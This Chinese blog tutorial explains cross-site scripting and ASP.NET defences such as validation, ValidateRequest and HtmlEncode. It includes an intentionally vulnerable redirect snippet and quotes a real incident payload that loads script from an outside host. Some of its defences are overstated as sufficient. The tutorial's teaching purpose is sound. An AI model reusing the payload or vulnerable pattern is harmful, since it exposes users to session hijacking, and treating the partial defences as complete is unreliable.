网络安全 - Cross-site scripting

1.1.1 摘要

      在本系列的第一篇博文中,我向大家介绍了SQL Injection常用的攻击和防范的技术。这个漏洞可以导致一些非常严重的后果,但幸运的是我们可以通过限制用户数据库的权限、使用参数化的SQL语句或使用ORM等技术来防范SQL Injection的发生,接来了要向大家介绍Cross-site scripting(XSS)。

      定义:Cross-site scripting(XSS),是一种经常出现在Web应用中的计算机安全漏洞,它允许恶意Web用户将代码植入到提供给其它用户使用的页面中。比如,包括HTML代码和客户端脚本的页面。为不和层叠样式表(CSS)的缩写混淆,通常将跨站脚本缩写为XSS。攻击者一般会利用XSS漏洞旁路掉访问控制——例如同源策略(same origin policy)或发起phishing攻击,网页挂马,cookie窃取等。

     上面的定义有点别扭不好理解,让我们回忆一下SQL Injection是把恶意的代码注入的数据库并且执行该SQL语句,最后返回相应数据,所以SQL Injection是作用于数据库的,而XSS是通过发送恶意的代码到服务,让服务器把恶意代码发送到其他用户浏览器中,最后劫持用户浏览器,所以XSS是作用于用户的。

1.1.2 正文

      XSS主要攻击方式有两种:

      一种就像SQL Injection攻击一样,我把一段脚本注入到服务器上,用户访问方法服务器的某个URL,这个URL就会把远端的js注入进来,这个js有可能自动进行很多操作。比如这次事件中的帮你发微博,帮你发站内消息等。注入有很多方法,比如:提交表单,更改URL参数,上传图片,设置签名,等等。

      另一类则是来自外部的攻击,主要指的自己构造XSS 跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当我们要渗透一个站点,我们自己构造一个跨站网页放在自己的服务器上,然后通过结合其它技术,如社会工程学等,欺骗目标服务器的管理员打开。这一类攻击的威胁相对较低,至少Ajax 要发起跨站调用是非常困难的(你可能需要hack浏览器)。

现在让我们通过具体的例子来看看XSS攻击是如何发生的,假设现在有一个招聘网站www.examplejob.com,它提供在该网站已注册的用户发布招聘信息和发送招聘信息到注册用户的功能。

xss1

图1 发布正常招聘信息

      通过该网站的发布招聘信息功能,我们把招聘信息发送到该网站的服务器中,然后服务器会把信息发送到注册用户中,这样我们就实现了发布信息的目的了,然而当一些不怀好意好意的用户他们很可能利用该网站存在的漏洞对用户进行攻击。

xss2

图2发布恶意招聘信息

      如上图所示,不怀好意好意的用户会把恶意代码,如:JavaScript, VBScript, ActiveX, HTML或 Flash等,把它们嵌入到发布的信息中去,然后发送到服务器中,如果服务器没有很好的校验信息,直接把信息转发到用户,这将导致一场XSS攻击灾难。

     通过上面的示意例子我们发现XSS攻击和SQL Injection存在着相同点,它们是通过注恶意代码进行攻击的,不同点是它们攻击对象不尽相同。

     XSS是通过注入恶意代码,如:JavaScript, VBScript, ActiveX, HTML, 或 Flash等来劫持用户浏览器,进而通过构造恶意的URL。

通过构造恶意URL攻击

     假设现在有一个网站,它提供链接到www.examplejob.com网站的链接,这样链接再普通不过了,但大家有没有思考过这些外部链接可能存在危险呢?

xss3

图3 正常页面跳转

     通过上图,可以看到状态栏告诉我们这个链接将跳转到http://www.exmplejob.com,为了更加直观地分析XSS攻击,我们直接在地址栏中添加url参数实现跳转,示意代码如下:

    页面实现:

<p>You are now leaving this site - we're no longer responsible!</p> 
<p><asp:Literal runat="server" ID="litLeavingTag" /></>

   Code Behind:

var url = Request.QueryString["url"];
litLeavingTag.Text = string.Format("<a href={0} >examplejob</a>", url);

    我们通过QueryString来获取URL中传递的参数,如果URL中包含了恶意代码,那么恶意代码将跳转到恶意网站或者直接执行恶意代码劫持用户浏览器。

xss7

图4构造恶意URL

   上图我们在地址栏中输入一段Javascript代码,这也是XSS常用的攻击手段,它通过构造恶意的URL,当用户点击链接后,实现在用户的浏览器中运行恶意的代码。

xss5

图5构造恶意URL

      当我们点击链接后,这次浏览器运行了恶意Javascript代码弹出了一个消息框提示我们已经被黑了,但实际情况XSS攻击并不会那么容易被用户察觉,而且攻击不仅仅是弹一个提示框。

校验用户输入

      在前一博文中,我们通过正则表达式来校验用户输入是否包含恶意代码来防御SQL Injection攻击,而这里我们也是通过正则表达式来检验用户输入是否包含恶意的代码。

由于RFC3986规范中,规定只允使用19保留字符可以执行一些特殊功能,那么接下来让我们实现URL的正则表达式校验吧。

xss6

图6 URL中保留字符

var url = Request.QueryString["url"];
if (!string.IsNullOrEmpty(url))
{this.litLeavingTag.Text =Regex.IsMatch(url, @"\w+:\/{2}[\d\w-]+(\.[\d\w-]+)*(?:(?:\/[^\s/]*))*") ?string.Format("<a href={0} >examplejob</a>", url) : "The url is invalid.";
}

     这里我们使用了Regex的静态方法IsMatch()方法对URL进行校验,当我们试图再次注入恶意的Javascript代码时,成功的校验出了该URL是非法的。(想查看更强大URL校验请点这里)

xss4

图7 正则表达式校验

      前面我们使用自定义的正则表示式对URL进行校验,但.NET Framework中已经提供了校验URL是否合法的方法Uri.IsWellFormedUriString(),我们只需把URL字符串传递给它进行校验就OK了,接下来让我们实现校验URL的功能。

      MSDN:默认情况下,字符串被认为是符合 RFC 2396 和 RFC 2732 的标准格式的,如果启用国际资源标识符(IRIs)或国际化域名解析(IDN)分析时,则符合RFC 3986和RFC 3987规范的字符串被认为是完备的,符合规范的。

var url = Request.QueryString["url"];// Adds the method to validate the url is correct or not.
if (Uri.IsWellFormedUriString(url, UriKind.Absolute))
{litLeavingTag.Text = string.Format("<a href={0} >examplejob</a>", url);
}
else
{litLeavingTag.Text = "The url is invalid.";
}

xss7

图8 正则表达式校验

      当我们再次执行包含恶意Javascript代码的URL时,程序成功的校验出了URL中包含了恶意代码,这也就可以有效防御XSS攻击了。

      使用.NET中的ValidateRequest校验

      .NET Framework中提供ValidateRequest属性防御XSS攻击,由于ValidateRequest的默认值为true,当页面中没有设置ValidateRequest属性值时,则页面默认需要请求验证,反之ValidateRequest为false时,页面无需请求验证,所以我们无需编写一行代码,就可以有效的防御XSS攻击。

       我们把正则表达式校验功能注销了,然后在页面或Web.Config文件中,将ValidateRequest值设置为true,实现代码如下:

       页面中设置:

<%@ Page Language="C#" AutoEventWireup="true" CodeFile="security.aspx.cs" Inherits="security" ValidateRequest="true" %>

     Web.Config中的ValidateRequest属性应用于所有页面:

<pages validateRequest="true" />

xss8

图9 ValidateRequest校验

HTML编码输出

      XSS漏洞是由于程序在输出数据的时候没有作好处理导致恶意代码被浏览器解析造成的,所以另一种必不可少的XSS防御策略是输出编码方式,它通过确保在一个字符串中的每个字符都以正确的形式呈现。例如,为了在浏览器中正确地呈现“<”,“>”或空格等文本时,我们需要对其进行编码处理,否则浏览器将根据这些特性文本去执行其功能,而不是正确的呈现在页面上。

     我们常见的HTML编码有:&nbsp;,&lt;,&gt;和&quot; 等等。

     通常,我们需要在网页上显示用户输入的数据,这时HttpUtility.HtmlEncode()方法派上用场了。

     使用HttpUtility.HtmlEncode()方法来进行编码的输出,如果在传递的字符串中包含标点符合,它就会对该字符进行编码处理,如下面的示例代码所示。

protected void btnSubmit_Click(object sender, EventArgs e)
{string inputText = this.Request.Form["txtInput"];if (!string.IsNullOrEmpty(inputText)){// Encodes text.this.litLeavingTag.Text = HttpUtility.HtmlEncode(inputText);}
}

xss9

图10 提交恶意代码

     上面我们把包含恶意Javascript代码提交到服务器。

xss10

xss11

图11 Html编码输出

      服务器使用.NET Framework中提供的静态方法——HttpUtility.HtmlEncode()对字符串中的标点符号进行编码处理,我们看到符号“<”和“>”被转化成为“&lt;”和“&gt;”了。

非HTML编码输出

      前面对呈现的文本都使用了HTML编码输出,事实上并非所有的输出都为HTML编码。JavaScript就是一个很好的例子,让我们回忆一下前面的介绍的例子You have been hacked,我们把文本显示在一个消息提示框中,而非直接呈现在页面上。

 

xss12

图12 非Html编码输出

      当我们把HTML编码后的文本通过消息提示框显示时,文本还是以编码后的形式显示没有进行解码处理,但用户一看到他们的第一反应就是说我们的程序出现乱码有问题,其实我们心知只是还没有进行解码处理而已,所以在一些非HTML编码中我们还要先进行解码处理HttpUtility.HtmlDecode()方法。

      想必大家对新浪微博XSS攻击事件记忆犹新吧!它利用了微博广场页面 http://weibo.com/pub/star 的一个URL注入了js脚本,然后通过http://163.fm/PxZHoxn短链接服务,将链接指向:

     ">">">http://weibo.com/pub/star/<script src=//www.2kt.cn/images/t.js></script>

     URL编码后显示:

     Sina Visitor System

     通过上面的例子大家发现其实上面的XSS攻击也并不是那么神秘。

1.1.3 总结

      XSS攻击作为Web业务的最大威胁之一,它犯下了种种罪行例如新浪微博的XSS攻击事件,不仅危害Web业务本身,对访问Web业务的用户也会带来直接的影响,如何防御和阻止XSS攻击,保障Web站点的业务安全,这个重担有落到每一位开发者的身上了。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/495946.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

一、Hadoop概述

文章目录 一、Hadoop是什么二、Hadoop发展历史三、Hadoop三大发行版本1. Apache Hadoop2. Cloudera Hadoop3. Hortonworks Hadoop四、Hadoop优势1. 高可靠性2. 高扩展性3. 高效性4. 高容错性五、Hadoop 组成1. Hadoop1.x、2.x、3.x区别2. HDFS 架构概述3. YARN 架构概述4. MapR…

信息安全管理与评估赛题第9套

全国职业院校技能大赛 高等职业教育组 信息安全管理与评估 赛题九 模块一 网络平台搭建与设备安全防护 1 赛项时间 共计180分钟。 2 赛项信息 竞赛阶段 任务阶段 竞赛任务 竞赛时间 分值 第一阶段 网络平台搭建与设备安全防护 任务1 网络平台搭建 XX:XX- XX:XX 50 任务2…

低代码开发中 DDD 领域驱动的页面权限控制

在低代码开发的领域中&#xff0c;应用安全与灵活性是两大关键考量因素。领域驱动设计&#xff08;DDD&#xff09;作为一种在软件设计领域广泛应用且颇具影响力的方法论&#xff0c;正逐渐在低代码开发的页面权限控制方面展现出其独特的价值与潜力。本文旨在客观地探讨如何借助…

目录jangow-01-1.0.1靶机

靶机 ip&#xff1a;192.168.152.155 把靶机的网络模式调成和攻击机kali一样的网络模式&#xff0c;我的kali是NAT模式, 在系统启动时(长按shift键)直到显示以下界面 ,我们选第二个&#xff0c;按回车。 继续选择第二个&#xff0c;这次按 e 进入编辑页面 接下来&#xff0c;…

微信小程序 不同角色进入不同页面、呈现不同底部导航栏

遇到这个需求之前一直使用的小程序默认底部导航栏&#xff0c;且小程序默认入口页面为pages/index/index&#xff0c;要使不同角色呈现不同底部导航栏&#xff0c;必须要在不同页面引用不同的自定义导航栏。本篇将结合分包&#xff08;subPackages&#xff09;展开以下三步叙述…

【GeekBand】C++设计模式笔记15_Proxy_代理模式

1. “接口隔离” 模式 在组件构建过程中&#xff0c;某些接口之间直接的依赖常常会带来很多问题&#xff0c;甚至根本无法实现。采用添加一层间接&#xff08;稳定&#xff09;接口&#xff0c;来隔离本来互相紧密关联的接口是一种常见的解决方案。典型模式 FacadeProxyAdapte…

网络安全之接入控制

身份鉴别 ​ 定义:验证主题真实身份与其所声称的身份是否符合的过程&#xff0c;主体可以是用户、进程、主机。同时也可实现防重放&#xff0c;防假冒。 ​ 分类:单向鉴别、双向鉴别、三向鉴别。 ​ 主题身份标识信息:密钥、用户名和口令、证书和私钥 Internet接入控制过程 …

UE5 崩溃问题汇总!!!

Using bundled DotNet SDK version: 6.0.302 ERROR: UnrealBuildTool.dll not found in "..\..\Engine\Binaries\DotNET\UnrealBuildTool\UnrealBuildTool.dll" 在你遇到这种极奇崩溃的BUG &#xff0c;难以解决的时候。 尝试了N种方法&#xff0c;都不行的解决方法。…

docker 搭建集群

准备3台机器&#xff1a; #dockermaster 192.168.31.150 sudo hostnamectl set-hostname dockermaster #初始化主节点 docker swarm init --advertise-addr 192.168.31.150 #查看集群是否搭建成功 docker node ls #dockernode1 192.168.31.151 sudo hostnamectl set-hostname …

关于埃斯顿机器人文件导出或者系统日志导出

关于埃斯顿机器人文件导出或者日志导出&#xff0c;登录模式&#xff0c;选择高级设置&#xff0c;控制器备份恢复 选择U盘导入地址&#xff0c;点击导出&#xff0c;等待时间30秒就可以查看文件格式和系统日志

golang标准库SSH操作示例

文章目录 前言一、了解SSH二、重要知识点1.安装ssh库2.ssh库重要知识牢记 三、模拟连接远程服务器并执行命令四、SSH与os/exec标准库下执行命令的几种方式对比五、SSH库下三种执行命令方式演示5.1. session.CombinedOutput()示例5.2. session.Run()示例5.3. session.Start()、s…

嵌入式轻量级开源操作系统:HeliOS的使用

嵌入式轻量级开源操作系统:HeliOS的使用 &#x1f4cd;项目地址&#xff1a;https://github.com/heliosproj/HeliOS HeliOS项目是一个社区交付的开源项目&#xff0c;用于构建和维护HeliOS嵌入式操作系统&#xff08;OS&#xff09;。HeliOS是一个功能齐全的操作系统&#xff0…

解决:excel鼠标滚动幅度太大如何调节?

在excel里为什么滚动一次跳过很多行呢&#xff1f;很不方便。。。 1. 问题&#xff1a; 一开始单元格从第1行开始&#xff1a; 鼠标轻轻滚动一下后&#xff0c;直接跳到第4行&#xff1a; 鼠标在word和浏览器里都是好好的。在excel里为什么不是滚动一次跳过一行呢&#xff…

kubernetes Gateway API-部署和基础配置

文章目录 1 部署2 最简单的 Gateway3 基于主机名和请求头4 重定向 Redirects4.1 HTTP-to-HTTPS 重定向4.2 路径重定向4.2.1 ReplaceFullPath 替换完整路径4.2.2 ReplacePrefixMatch 替换路径前缀5 重写 Rewrites5.1 重写 主机名5.2 重写 路径5.2.1 重新完整路径5.2.1 重新部分路…

Docker服务发现新纪元:探索Consul的无限魅力

作者简介&#xff1a;我是团团儿&#xff0c;是一名专注于云计算领域的专业创作者&#xff0c;感谢大家的关注 •座右铭&#xff1a; 云端筑梦&#xff0c;数据为翼&#xff0c;探索无限可能&#xff0c;引领云计算新纪元个人主页&#xff1a;团儿.-CSDN博客 目录 前言&…

湖南引力:低代码助力实现智慧养老管理系统

“低代码开发宛如一座神奇的桥梁&#xff0c;它以简洁高效的方式连接起创意与应用&#xff0c;降低了开发门槛&#xff0c;为企业和开发者带来前所未有的便捷与可能&#xff0c;开启了快速实现软件梦想的新征程。” ——王港&#xff0c;湖南引力科技有限公司 湖南引力科技有…

mongodb和Cassandra

mongodb的一致性问题&#xff1a; 15.MongoDB的一致性(读关注与写关注)_mongo w选项-CSDN博客 孤儿节点问题&#xff1a; 技术干货 | MongoDB 偶遇孤儿文档及处理方法-腾讯云开发者社区-腾讯云 分片集群MongoDB迁移前清除孤儿文档 由数据迁移至MongoDB导致的数据不一致问题…

4.3 数据库HAVING语句

having子句要和group by子句联合起来才能使用&#xff0c;不能单独去使用&#xff0c;接下来咱们看一下为什么要引入having子句语法呢&#xff1f;引入having子句也是出于无奈&#xff0c;因为有些条件查询&#xff0c;用group by子句并不能满足要求&#xff0c;比如说查询部门…

支持向量机入门指南:从原理到实践

目录 1 支持向量机的基本概念 1.2 数学表达 2 间隔与支持向量 2.1 几何间隔 2.2 支持向量的概念 2.3 规范化超平面 2.4 支持向量的深入分析 2.4.1 支持向量的特征 2.4.2 支持向量的作用 2.4.3 支持向量的代数表示 2.5 KKT条件 3 最优化问题 3.1 问题的形成 3.2 规…

使用驱动器光盘需格式化:深度解析与数据恢复全攻略

一、驱动器光盘需格式化的现象概述 在日常使用驱动器光盘的过程中&#xff0c;用户可能会遇到系统提示“驱动器中的磁盘未被格式化&#xff0c;是否现在格式化&#xff1f;”的警告。这一提示通常意味着光盘上的文件系统已损坏或无法被系统正常识别&#xff0c;导致无法读取光…